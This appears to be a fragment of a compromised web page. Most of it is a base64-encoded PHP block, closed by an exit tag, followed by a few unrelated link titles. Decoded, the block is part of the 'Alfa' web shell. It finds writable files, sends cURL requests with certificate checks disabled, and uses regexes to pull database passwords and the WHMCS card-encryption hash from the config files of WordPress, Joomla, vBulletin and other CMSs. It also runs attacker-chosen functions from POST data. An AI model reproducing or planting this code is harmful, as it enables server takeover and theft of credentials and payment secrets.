ZiA9IGFycmF5X3VuaXF1ZSgkcyk7ICBlY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOyAgJGk9MTsgIGZvcmVhY2goJGYgYXMgJHMpeyAgJHM9dHJpbSgkcyk7CSAgaWYoZnVuY3Rpb25fZXhpc3RzKCRzKXx8IWlzX2NhbGxhYmxlKCRzKSljb250aW51ZTsgIGVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOyAgZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsiPjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLicuc3RyX3JlcGxhY2UoJ18nLCctJywkcykuJy5waHAiPjxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+PGI+Jy4kcy4nPC9iPjwvc3Bhbj48L2E+PC90ZD4nOyAgJGkrKzsgIH0gIGVjaG8gJzwvdGFibGU+PC9jZW50ZXI+JzsgIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBBbGZhX0NyZWF0ZV9BX1RhZygkYWN0aW9uLCR2YWxzKXsgICRudWxscyA9IGFycmF5KCk7ICBmb3JlYWNoKCR2YWxzIGFzICRrZXkgPT4gJHZhbCl7ICBlY2hvICc8YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnJy4kYWN0aW9uLidcJywnOyAgZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOyAgJGYgPSBpbXBsb2RlKCcsJywkbnVsbHMpOyAgZWNobyAkZi4nLFwnJy4kdmFsWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+fCAnLiRrZXkuJyB8IDwvYT4nOyAgdW5zZXQoJG51bGxzKTsgIH0gIH0gIGZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgeyAgaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsgIGlmKCRtZXRob2QgPT0gJ2FsbCcpJGV4dCA9ICcqJzsgIGlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7ICAkZ2xvYkZpbGVzID0gQGdsb2IoIiRkaXIvKi4kZXh0Iik7ICAkZ2xvYkRpcnMgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsgICRibGFja2xpc3QgPSBhcnJheSgpOyAgZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsgICBpZighQGlzX3JlYWRhYmxlKCRkaXIpKSBjb250aW51ZTsgIEBBbGZhX1NlYXJjaGVyKCRkaXIsICRleHQsICRtZXRob2QpOyAgfSAgc3dpdGNoKCRtZXRob2QpeyAgY2FzZSAiZmlsZXMiOiAgIGZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpeyAgaWYoQGlzX3dyaXRhYmxlKCRmaWxlKSl7ICBlY2hvICIkZmlsZTxicj4iOyAgfSAgfSAgYnJlYWs7ICAgY2FzZSAiZGlycyI6ICBmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsgIGlmKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlKSkgJiYgIWluX2FycmF5KGRpcm5hbWUoJGZpbGUpLCAkYmxhY2tsaXN0KSl7ICBlY2hvIGRpcm5hbWUoJGZpbGUpLic8YnI+JzsgICRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOyAgfSAgfSAgYnJlYWs7ICBjYXNlICJhbGwiOiAgIGZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpeyAgZWNobyAkZmlsZS4nPGJyPic7ICB9ICBicmVhazsgIH0gIHVuc2V0KCRibGFja2xpc3QpOyAgfSAgfSAgZnVuY3Rpb24gQWxmYWlGcmFtZUNyZWF0b3IoJGYsJHdpZHRoPScxMDAlJywkaGVpZ2h0PSc2MDBweCcpeyAgcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy4kZi4nIiB3aWR0aD0iJy4kd2lkdGguJyIgaGVpZ2h0PSInLiRoZWlnaHQuJyIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPicpOyAgfSAgY2xhc3MgQWxmYUNVUkwgeyAgcHVibGljICRoZWFkZXJzOyAgcHVibGljICR1c2VyX2FnZW50OyAgcHVibGljICRjb21wcmVzc2lvbjsgIHB1YmxpYyAkY29va2llX2ZpbGU7ICBwdWJsaWMgJHByb3h5OyAgcHVibGljICRwYXRoOyAgcHVibGljICRzc2wgPSBmYWxzZTsgIHB1YmxpYyAkY3VybF9zdGF0dXMgPSB0cnVlOyAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGNvb2tpZXM9ZmFsc2UsJGNvbXByZXNzaW9uPSdnemlwJywkcHJveHk9JycpeyAgaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30gICR0aGlzLT5oZWFkZXJzW10gPSAnQWNjZXB0OiBpbWFnZS9naWYsIGltYWdlL3gtYml0bWFwLCBpbWFnZS9qcGVnLCBpbWFnZS9wanBlZyc7ICAkdGhpcy0+aGVhZGVyc1tdID0gJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmUnOyAgJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsgICR0aGlzLT51c2VyX2FnZW50ID0gJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMC4zNzA1OyAuTkVUIENMUiAxLjEuNDMyMjsgTWVkaWEgQ2VudGVyIFBDIDQuMCknOyAgJHRoaXMtPnBhdGggPSBBTEZBX1RFTVBESVIuJy9BbGZhX2Nvb2tpZXMudHh0JzsgICR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247ICAkdGhpcy0+cHJveHk9JHByb3h5OyAgJHRoaXMtPmNvb2tpZXM9JGNvb2tpZXM7ICBpZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsgIH0gIGZ1bmN0aW9uIGNvb2tpZSgkY29va2llX2ZpbGUpIHsgIGlmIChfYWxmYV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7ICAkdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOyAgfWVsc2V7ICBAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOyAgJHRoaXMtPmNvb2tpZV9maWxlPSRjb29raWVfZmlsZTsgIEBmY2xvc2UoJHRoaXMtPmNvb2tpZV9maWxlKTsgIH0gIH0gIGZ1bmN0aW9uIFNlbmQoJHVybCwkbWV0aG9kPSJnZXQiLCRkYXRhPSIiKXsgIGlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9ICAkcHJvY2VzcyA9IGN1cmxfaW5pdCgkdXJsKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hUVFBIRUFERVIsICR0aGlzLT5oZWFkZXJzKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7ICBjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9VU0VSQUdFTlQsICR0aGlzLT51c2VyX2FnZW50KTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsgIGlmKCR0aGlzLT5zc2wpeyAgY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULGZhbHNlKTsgIH0gIGlmKCR0aGlzLT5jb29raWVzKXsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0NPT0tJRUZJTEUsICR0aGlzLT5wYXRoKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0NPT0tJRUpBUiwgJHRoaXMtPnBhdGgpOyAgfSAgaWYoJHRoaXMtPnByb3h5KXsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BST1hZLCAkdGhpcy0+cHJveHkpOyAgfSAgaWYoJG1ldGhvZD09J3Bvc3QnKXsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsgIGN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOyAgY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJykpOyAgfSAgJHJldHVybiA9IGN1cmxfZXhlYygkcHJvY2Vzcyk7ICBjdXJsX2Nsb3NlKCRwcm9jZXNzKTsgIHJldHVybiAkcmV0dXJuOyAgfSAgZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7ICBlY2hvICI8Y2VudGVyPjxkaXYgc3R5bGU9J3dpZHRoOjUwMHB4O2JvcmRlcjogM3B4IHNvbGlkICNGRkVFRkY7IHBhZGRpbmc6IDNweDsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRERGRjtmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiAxMHB4Jz48Yj5jVVJMIEVycm9yPC9iPjxicj4kZXJyb3I8L2Rpdj48L2NlbnRlcj4iOyAgZGllOyAgfSAgfSAgZnVuY3Rpb24gZ2V0Q29uZmlnSHRtbCgkY21zKXsgICRjb250ZW50ID0gJyc7ICAkY21zX2FycmF5ID0gYXJyYXkoIndwIiA9PiAiV29yZFByZXNzIiwgInZiIiA9PiAidkJ1bGxldGluIiwgIndobWNzIiA9PiAiV2htY3MiLCAiam9vbWxhIiA9PiAiSm9vbWxhIiwgInBocG51a2UiID0+ICJQSFBOdWtlIiwicGhwYmIiPT4iUEhQQkIiLCJteWJiIj0+Ik15QkIiLCJkcnVwYWwiPT4iRHJ1cGFsIiwic21mIj0+IlNNRiIpOyAgJGNvbnRlbnQgLj0gIjxmb3JtIG9uU3VibWl0PSdnKFwiR2V0Q29uZmlnXCIsbnVsbCx0aGlzLmNtcy52YWx1ZSx0aGlzLnBhdGgudmFsdWUpO3JldHVybiBmYWxzZTsnPjxkaXYgY2xhc3M9J3R4dGZvbnQnPkNtczogPC9kaXY+IDxzZWxlY3QgbmFtZT0nY21zJ3N0eWxlPSd3aWR0aDoxMDBweDsnPiI7ICBmb3JlYWNoKCRjbXNfYXJyYXkgYXMgJGtleSA9PiAkdmFsKXsgICRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOyAgfSAgJGNvbnRlbnQgLj0gIjwvc2VsZWN0PiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5QYXRoKGluc3RhbGxlZCBjbXMvQ29uZmlnKTogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyB2YWx1ZT0nIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvJyBzaXplPSczMCcgLz4gPGJ1dHRvbiBjbGFzcz0nYnV0dG9uJz5HZXRDb25maWc8L2J1dHRvbj4iOyAgJGNvbnRlbnQgLj0gIjwvZm9ybT4iOyAgcmV0dXJuICRjb250ZW50OyAgfSAgZnVuY3Rpb24gYWxmYUdldENvbmZpZygpeyAgJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsgICRwYXRoID0gdHJpbSgkX1BPU1RbJ2FsZmEyJ10pOyAgJGNvbmZpZyA9IGFycmF5KCAgJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLCAgJ2hvc3QnPT5hcnJheSgiL2RlZmluZVwoJ0RCX0hPU1QnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksICAnZGJuYW1lJz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9OQU1FJywoXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVwpOy8iLDIpLCAgJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lXCgnREJfVVNFUicsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwgICdkYnB3Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9QQVNTV09SRCcsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwgICdwcmVmaXgnPT5hcnJheSgiL3RhYmxlX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpICApLCAgJ2RydXBhbCc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWcucGhwJywgICdob3N0Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9IT1NUTkFNRScsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwgICdkYm5hbWUnPT5hcnJheSgiL2RlZmluZVwoJ0RCX0RBVEFCQVNFJywoXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVwpOy8iLDIpLCAgJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lXCgnREJfVVNFUk5BTUUnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksICAnZGJwdyc9PmFycmF5KCIvZGVmaW5lXCgnREJfUEFTU1dPUkQnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksICAncHJlZml4Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9QUkVGSVgnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMikgICksICAndmInPT5hcnJheSgnZmlsZSc9PicvaW5jbHVkZXMvY29uZmlnLnBocCcsICAnaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsnc2VydmVybmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLCAgJ2RidXNlcic9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbJ0RhdGFiYXNlJ1xdXFsnZGJuYW1lJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJwdyc9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdwcmVmaXgnPT5hcnJheSgiL2NvbmZpZ1xbJ0RhdGFiYXNlJ1xdXFsndGFibGVwcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSAgKSwgICdwaHBudWtlJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZy5waHAnLCAgJ2hvc3QnPT5hcnJheSgnL2RiaG9zdChccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLCAgJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksICAnZGJ1c2VyJz0+YXJyYXkoJy9kYnVuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksICAnZGJwdyc9PmFycmF5KCcvZGJwYXNzKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksICAncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSAgKSwgICdzbWYnPT5hcnJheSgnZmlsZSc9PicvU2V0dGluZ3MucGhwJywgICdob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYm5hbWUnPT5hcnJheSgiL2RiX25hbWUoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYnVzZXInPT5hcnJheSgiL2RiX3VzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdwcmVmaXgnPT5hcnJheSgiL2RiX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpICApLCAgJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywgICdob3N0Jz0+YXJyYXkoIi9kYl9ob3N0KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJuYW1lJz0+YXJyYXkoIi9kYl9uYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLCAgJ2RicHcnPT5hcnJheSgiL2RiX3Bhc3N3b3JkKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnY2NfZW5jcnlwdGlvbl9oYXNoJz0+YXJyYXkoIi9jY19lbmNyeXB0aW9uX2hhc2goXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSAgKSwgICdqb29tbGEnPT5hcnJheSgnZmlsZSc9PicvY29uZmlndXJhdGlvbi5waHAnLCAgJ2hvc3QnPT5hcnJheSgiL1xcXCRob3N0KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYnVzZXInPT5hcnJheSgiL1xcXCR1c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJwdyc9PmFycmF5KCIvXFxcJHBhc3N3b3JkKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSAgKSwgICdwaHBiYic9PmFycmF5KCdmaWxlJz0+Jy9jb25maWcucGhwJywgICdob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYm5hbWUnPT5hcnJheSgiL2RibmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLCAgJ2RidXNlcic9PmFycmF5KCIvZGJ1c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAnZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdwcmVmaXgnPT5hcnJheSgiL3RhYmxlX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpICApLCAgJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLCAgJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsnaG9zdG5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsnZGF0YWJhc2UnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwgICdkYnB3Jz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ3Bhc3N3b3JkJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksICAncHJlZml4Jz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ3RhYmxlX3ByZWZpeCdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpICApICApOyAgJGRhdGEgPSBhcnJheSgpOyAgJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsgICRzcmNoX3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVswXTsgICRzcmNoX25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVswXTsgICRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOyAgJHByZWZpeCA9ICRjb25maWdbJGNtc11bJ3ByZWZpeCddWzBdOyAgJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107ICAkY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07ICAkY3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVsxXTsgICRjbmFtZSA9ICRjb25maWdbJGNtc11bJ2RibmFtZSddWzFdOyAgJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsgICRjcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMV07ICBpZihAaXNfZGlyKCRwYXRoKXx8X2FsZmFfaXNfZGlyKCRwYXRoKSl7ICAkZmlsZT0kcGF0aC4kZmlsZTsgIH1lbHNlaWYoQGlzX2ZpbGUoJHBhdGgpfHxfYWxmYV9pc19kaXIoJHBhdGgsIi1lIikpeyAgJGZpbGU9JHBhdGg7ICB9ZWxzZXsgIHJldHVybiBmYWxzZTsgIH0gICRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOyAgaWYocHJlZ19tYXRjaCgkc3JjaF9ob3N0LCAkZmlsZSwgJG1hY2gpKXsgICRkYXRhWydob3N0J10gPSAkbWFjaFskY2hvc3RdOyAgfSAgaWYocHJlZ19tYXRjaCgkc3JjaF91c2VyLCAkZmlsZSwgJG1hY2gpKXsgICRkYXRhWyd1c2VyJ10gPSAkbWFjaFskY3VzZXJdOyAgfSAgaWYocHJlZ19tYXRjaCgkc3JjaF9uYW1lLCAkZmlsZSwgJG1hY2gpKXsgICRkYXRhWydkYm5hbWUnXSA9ICRtYWNoWyRjbmFtZV07ICB9ICBpZihwcmVnX21hdGNoKCRzcmNoX3B3LCAkZmlsZSwgJG1hY2gpKXsgICRkYXRhWydwYXNzd29yZCddID0gJG1hY2hbJGNwd107ICB9ICBpZihpc3NldCgkcHJlZml4KSl7ICBpZihwcmVnX21hdGNoKCRwcmVmaXgsICRmaWxlLCAkbWFjaCkpeyAgJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOyAgfSAgfSAgaWYoJGNtcz09J3dobWNzJyl7ICBpZihwcmVnX21hdGNoKCRjb25maWdbJGNtc11bJ2NjX2VuY3J5cHRpb25faGFzaCddWzBdLCAkZmlsZSwgJG1hY2gpKXsgICRkYXRhWydjY19lbmNyeXB0aW9uX2hhc2gnXSA9ICRtYWNoWzNdOyAgfSAgfSAgZWNobyBqc29uX2VuY29kZSgkZGF0YSk7ICB9ICBpZihlbXB0eSgkX1BPU1RbJ2EnXSkpICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkZGVmYXVsdF9hY3Rpb24pKSAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247ICBlbHNlICAkX1BPU1RbJ2EnXSA9ICdGaWxlc01hbic7ICBpZighZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkX1BPU1RbJ2EnXSkpICBjYWxsX3VzZXJfZnVuYygnYWxmYScgLiAkX1BPU1RbJ2EnXSk7ICBleGl0OyAgICA/Pg==");exit;}?>
Westbrook High Schoolhigh School,
Real Estate Agent Maine,
West Berlin School District,
Alexandria, Mn Date Ideas,
Articles S